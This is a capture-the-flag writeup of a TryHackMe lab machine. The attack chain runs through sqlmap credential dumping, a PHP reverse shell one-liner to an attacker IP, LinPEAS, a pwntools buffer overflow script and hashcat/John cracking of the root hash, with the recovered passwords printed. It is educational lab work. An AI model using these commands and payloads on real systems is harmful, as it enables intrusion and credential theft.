# The Cod Caper Writeup

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgAkR49l1uJHbSU_zJ%2F-MAgBj_QQ9v32x2-jqAP%2Fcod%20caper.jpeg?alt=media\&token=397ec2a3-870f-403b-ac69-de0cc46b7174)

This is a guided room that takes us through infiltrating and exploiting a linux system. It was an educative room for me since it's the first time I have encountered a buffer overflow attack, and had to use sqlmap. This expanded my knowledge on types of sql injection attacks. I also got a lot out of it as evidenced by the random questions I typed below which will push me to research further and understand more as opposed to just being a script kiddie. That being said, let's get started.

I performed an nmap scan with: **$ nmap -T4 -p- 10.10.8.151** to find open ports. The only open ports were port 22 and port 80. I then ran the command below to further enumerate what services were running on the open ports.&#x20;

```
$ nmap -A -T4 -p22,80 10.10.8.151
```

This is what the nmap flags stand for:

* **-A** All i.e. Enable OS detection, version detection, script scanning, and traceroute
* **-T4** the speed template, these templates are what tells **nmap** how quickly to perform the scan. The speed template ranges from 0 for slow and stealthy to 5 for fast and obvious.
* **-p** specifes ports; in our case port 22 and port 80.
* **-p-** All Transmission Control Protocol (TCP) ports: 1-65535

The image below shows the results of my scan.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgAkR49l1uJHbSU_zJ%2F-MAgBuxMov688YedodPy%2Fimage.png?alt=media\&token=bc8c3adf-940c-45f0-976c-8103cb81e1ab)

Since the only services sunning are SSH and a web server, I decide to check out the web server first to see if I can find any possible vulnerabilities. I will use gobuster and the big.txt wordlist <https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/big.txt> to find any hidden files or directories

```
$ gobuster dir -u 10.10.8.151 -w /usr/share/wordlists/big.txt -x php,txt,html
```

This is what the gobuster flags stand for:

* **dir** uses directory/file bruteforcing mode.
* **-u t**he target url
* **-w** path to the wordlist
* **-x** file extensions to search for

The image below shows my gobuster results:

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgEUJ4WKuR2PpR1O08%2F-MAgFkPsKKuaZGhcxN5r%2Fimage.png?alt=media\&token=1d261572-c5e9-48b9-b9c7-81e46af1b2c9)

We find a **/administrator.php** web page. When we navigate to it, we see a login form.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgEUJ4WKuR2PpR1O08%2F-MAgG2mXQZnHwxGMzGM4%2Fimage.png?alt=media\&token=37d92b23-b0cb-4926-8ada-52a95fbd7b44)

I decide to view the page source to see if there any hints or clues left behind. Maybe in the form of comments.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgEUJ4WKuR2PpR1O08%2F-MAgHZywjEphn7MjcoP5%2Fimage.png?alt=media\&token=ab936fa3-46ba-4894-b233-d385c5fb3c79)

But I get nothing.

So we have a few options here: we can either try a brute-force attack, or find if the login form is vulnerable to sql injection.

Using the **username admin** and **password 123456**, I intercept the request using Burp Suite.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgEUJ4WKuR2PpR1O08%2F-MAgHn3kVjvuHNeHdMF7%2Fimage.png?alt=media\&token=6671bdfc-d9d7-4b56-b813-91900e40738d)

When I forward it to Repeater and press send, I get a “try Again” error message.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgEUJ4WKuR2PpR1O08%2F-MAgHtB15rBD3fuq51fU%2Fimage.png?alt=media\&token=6e4227f0-a9cb-4bc8-ba51-27cd3c42b15c)

I try fuzzing the input to see if I can attempt a successful sql injection but it seems as if there is input validation.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgEUJ4WKuR2PpR1O08%2F-MAgI0xsaEOG2xhm57jc%2Fimage.png?alt=media\&token=1e8c36f0-bf9a-4752-b079-ac729b8a6706)

I decide to use sqlmap to leak out the databases.

`$ sqlmap -u 10.10.175.57/administrator.php --data 'username=&password=' -dbs`

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgEUJ4WKuR2PpR1O08%2F-MAgIb2Wmj-ftzSE_WmU%2Fimage.png?alt=media\&token=c0ff9879-b6cb-4013-841a-74c783a61865)

We have a database named ‘users’. Now let's dump out which tables belong to that database.

```
$ sqlmap -u 10.10.175.57/administrator.php --data 'username=&password=' -D users --tables
```

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgIp3SW4jxAz3_qWSX%2F-MAgIqwfHO8gItQZCNwb%2Fimage.png?alt=media\&token=1b6468c6-b8f4-4415-9de0-d5f21f2e5347)

We also find a table by the name **users**. Now let's dump out the contents of that table.

```
$ sqlmap -u 10.10.175.57/administrator.php --data 'username=&password=' -D users -T users --dump
```

Useful sqlmap flags:

* &#x20;**-u** specifies which url to attack
* &#x20;**-D** DBMS database to enumerate&#x20;
* **-T** DBMS database table(s) to enumerate
* &#x20;**--dump** Used to retrieve data from the db once SQLI is found
* &#x20;**--forms** Automatically selects parameters from elements on the page

I discover the form is vulnerable to 3 types of sqli

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgIp3SW4jxAz3_qWSX%2F-MAgJaL1UZGsheZinXOD%2Fimage.png?alt=media\&token=02ca25a4-fc29-4350-a12e-dafcf6db8ea4)

And I also retrieve some promising information.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgIp3SW4jxAz3_qWSX%2F-MAgJkGXepSWXrwYwtZA%2Fimage.png?alt=media\&token=30b08adc-bbcd-4d1b-b1e8-e20bd28f9add)

The **username is pingudad** and the **password is secretpass**. I go back to the login page and try out those credentials.

Once logged in, I discover a dialog box which I can use to run commands on the server.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgJtys9T3XaKmYNrrS%2F-MAgKEwtkKVzzBq2ixtB%2Fimage.png?alt=media\&token=5dcbaef4-8d5c-47d8-81fe-99dde8ed9c23)

I am going to try and get a php reverse shell. I will set up a listener on my attack machine using netcat first.

```
$nc -nvlp 1234
```

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgJtys9T3XaKmYNrrS%2F-MAgKbKH_UqQfU7iPCAO%2Fimage.png?alt=media\&token=5c43ec45-2410-4bfe-a3f6-3af3144903ca)

I get a php reverse shell code on the PentestMonkey website and make sure to replace the ip address with the one I have from THM.

```
$ php -r '$sock=fsockopen("10.9.17.44",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgJtys9T3XaKmYNrrS%2F-MAgKsB9Hio7Q99OydSx%2Fimage.png?alt=media\&token=95ebd3b7-1192-4549-be13-a19a60094b33)

And... boom!!!

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgJtys9T3XaKmYNrrS%2F-MAgKxpXD8mszskNZrvi%2Fimage.png?alt=media\&token=89bb78f9-dba3-49c6-bff6-b2fa90976c8c)

Navigating to home, I find 2 user accounts: papa and pingu.

I need to find pingu's hidden password or ssh key. When I run `ls -la` in pingu's account, I get the following below:

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgJtys9T3XaKmYNrrS%2F-MAgLCmcXW_vr-fdJNdc%2Fimage.png?alt=media\&token=7399087e-5aa2-419d-8ec5-5d60501fc3c4)

**Q. What is /etc/passwd used for in linux?**

After peeking at a walkthrough I find that the hidden password is located at /var/hidden

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgLF45kNhV-jPfbwG2%2F-MAgLhIejgq_FgcjsC_V%2Fimage.png?alt=media\&token=7ab5c911-2a26-4f39-8810-177f50389b38)

Now I need to get privilege escalation.My go to tool of choice is LInPEASS. Since I have ssh access on the machine, I can use SCP (secure copy) to copy files over.

`$ scp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh pingu@10.10.175.57:/tmp`

When asked for the password, I input pinguapingu

Alternatively, I could have used SimpleHTTPServer which is a module that can host a basic webserver on my host/attacking machine. This would have enabled me to host LinPEASS. Assuming the victim machine has a way of remotely downloading files, I could have downloaded it from my host machine to the server.

I navigate to /tmp on the victim machine and run linpeass with the command: ./linpeas.sh

I see this interesting SUID file:

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgN0bJq27zAy2j108a%2F-MAgN41yZp-fcVTORr1O%2Fimage.png?alt=media\&token=07e5867f-10de-4dbb-a6dd-96a7a3d720ca)

Pingu says he was able to snag a copy of the source code from his dad's flash drive.

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgN8KTnUH2KnY9nCED%2F-MAgNKA95Pe31tZjKggF%2Fimage.png?alt=media\&token=8a25fd4f-8d83-41cb-8f00-197918ad6576)

The SUID file seems to expect 32 characters of input, and then immediately exits. This seems to warrant further investigation. We will have to do binary exploitation using pwndbg - a plugin for GDB which allows us to better examine binary files.\
\
&#x20;We will first run the following command:\
\
&#x20;`$ gdb /opt/secret/root`

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgN8KTnUH2KnY9nCED%2F-MAgNg6luzFmhoOxrOK_%2Fimage.png?alt=media\&token=5c70164b-0ec9-4a34-98ba-93a810974600)

***Disclaimer: I had issues carrying out the buffer overflow attack. The below segment is a copy+paste of the guided instructions of the room. Once I get more experience, I aim to come back to this room and try again.***&#x20;

This lets us know that pwndbg has successfully initialized. We will now test what happens if we send more than 32 characters. To do this type `r < <(cyclic 50)`, that command runs the program and provides 50 characters worth of "cyclic" input. Cyclic input goes like this: "aaaaaaaabaaacaaadaaaeaaaf" etc. Because it's in this "cyclic" format, it allows us to better understand the control we have over certain registers, for reasons you are about to see.\
Once you run that command you should see something similar to this screen below:

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgN8KTnUH2KnY9nCED%2F-MAgNn53gistCuwokcmZ%2Fimage.png?alt=media\&token=880db907-5bb9-4f3c-b541-7244550a5c8c)

Now this is where some knowledge of assembly helps. It seems that in this case we're able to overwrite EIP, which is known as the instruction pointer. The instruction pointer tells the program which bit of memory to execute next, which in an ideal case would have the program run normally. However, since we're able to overwrite it, we can theoretically execute any part of the program at any time.\
Recall the shell function from the source code, if we can overwrite EIP to point to the shell function, we can cause it to execute. This is also where the benefits of cyclic input show themselves. Recall that cyclic input goes in 4 character/byte sequences, meaning we're able to calculate exactly how many characters we need to provide before we can overwrite EIP.\
Luckily cyclic provides this functionality with the -l flag, running cyclic -l {fault address} will tell us exactly how many characters we need to provide we can overwrite EIP.\
Running `cyclic -l 0x6161616c` outputs 44, meaning we can overwrite EIP once we provide 44 characters of input.\
\
That's all we needed for pre-explotation!\
\
**Binary Exploitation: The pwntools Way**\
\
Pwntools is a python library and since it is a library, it requires python knowledge to use to it's full potential, and as such everything in this task will be done using a python script.\
We start off the script with:\
\
`from pwn import *`\
`proc = process('/opt/secret/root')`\
This imports all the utilities from the pwntools library so we can use them in our script, and then creates a process that we can interact with using pwntools functions.\
We know that we need the memory address of the shell function, and pwntools provides a way to obtain that with ELF().\
ELF allows us to get various memory addresses of important points in our binary, including the memory address of the shell function.\
With the ELF addition our script becomes\
`from pwn import *`\
`proc = process('/opt/secret/root')`\
`elf = ELF('/opt/secret/root')`\
`shell_func = elf.symbols.shell`\
\
shell\_func holds the memory address of our shell function. Now we need a way to form the payload, luckily pwntools has that to with fit().\
fit allows us to form a payload by combining characters and our memory address. To send the payload we can use a method in our `proc` variable, proc.sendline(), which just sends whatever data we want to the binary. Finally we can use proc.interactive(), to view the full output of the process.\
With all that our final exploit script becomes\
\
`from pwn import *`\
`proc = process('/opt/secret/root')`\
`elf = ELF('/opt/secret/root')`\
`shell_func = elf.symbols.shell`\
`payload = fit({`\
`44: shell_func # this adds the value of shell_func after 44 characters`\
`})`\
`proc.sendline(payload)`\
`proc.interactive()`\
\
\&#xNAN;***Disclaimer ends here above***

I saved this script to a file named **pwncode.py** and then **scp** it to the server in the **/tmp** directory

```
$ sudo scp /home/pirate/Desktop/pwncode.py pingu@10.10.139.123:/tmp
```

Once done, I ran it.

`pingu@ubuntu:/tmp$ python pwncode.py`

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgN8KTnUH2KnY9nCED%2F-MAgORGr9ummOyWSRNxe%2Fimage.png?alt=media\&token=4f944df3-30fa-4c2f-b8cc-c0040b05a8ee)

We have the password hashes. We can crack them and get the root password.

Our root password hash is:

root:$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:18277:0:99999:7:::

**Q. How are passwords stored in linux?**

I save the hash in a txt file on my Desktop as hash.txt

Luckily hashcat supports cracking linux password hashes. The hash begins with $6 which is for SHA-512 Algorithm.

Other hashing algorithms`:`

* $1 = MD5 hashing algorithm.
* &#x20;$2 =Blowfish Algorithm is in use.
* &#x20;$2a=eksblowfish Algorithm
* &#x20;$5 =SHA-256 Algorithm
* &#x20;$6 =SHA-512 Algorithm

I run hashcat using the following command:

&#x20;`$ hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt --force`

The -m flag specifies the hash-type, which in this case is SHA-512 Algorithm which is identified by 1800. And I use the rockyou.txt wordlist.

We get the results below:

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgN8KTnUH2KnY9nCED%2F-MAgP7gszFt_4Da0QgXS%2Fimage.png?alt=media\&token=e04f93b2-6e47-4d23-b6ee-de63d8404cc5)

The root password is therefore: **love2fish**

We can also use JohnTheRipper to crack the hash. I noticed it was able to automatically detect the algorithm used in the hash.&#x20;

`$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt /home/pirate/Desktop/hash.txt`

![](https://3921415439-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MAg89Yj9y-c5VSLgwJh%2F-MAgN8KTnUH2KnY9nCED%2F-MAgPKVlt90xtI94e07E%2Fimage.png?alt=media\&token=a7d6be59-07e8-433d-869c-a50abe0833d3)

Further Reading on pwntools and pwndbg:\
<http://docs.pwntools.com/en/stable/>\
<https://browserpwndbg.readthedocs.io/en/docs/>
